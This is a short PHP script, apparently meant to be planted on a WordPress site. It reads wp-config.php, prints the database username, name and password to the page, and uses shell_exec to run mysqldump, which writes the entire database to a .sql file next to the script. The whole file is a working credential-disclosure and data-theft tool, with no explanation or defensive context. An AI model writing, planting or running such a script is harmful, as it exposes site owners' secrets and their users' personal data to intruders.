<?php
include ('wp-config.php');
$db_user=DB_USER;
$db_pass=DB_PASSWORD;
$db_name=DB_NAME;
echo "<br>DB-USER: $db_user$";
echo "<br>DB-NAME: $db_name$";
echo "<br>DB-PASS: $db_pass$";
shell_exec("mysqldump -u $db_user -p'$db_pass' $db_name > $db_name.sql");


?>

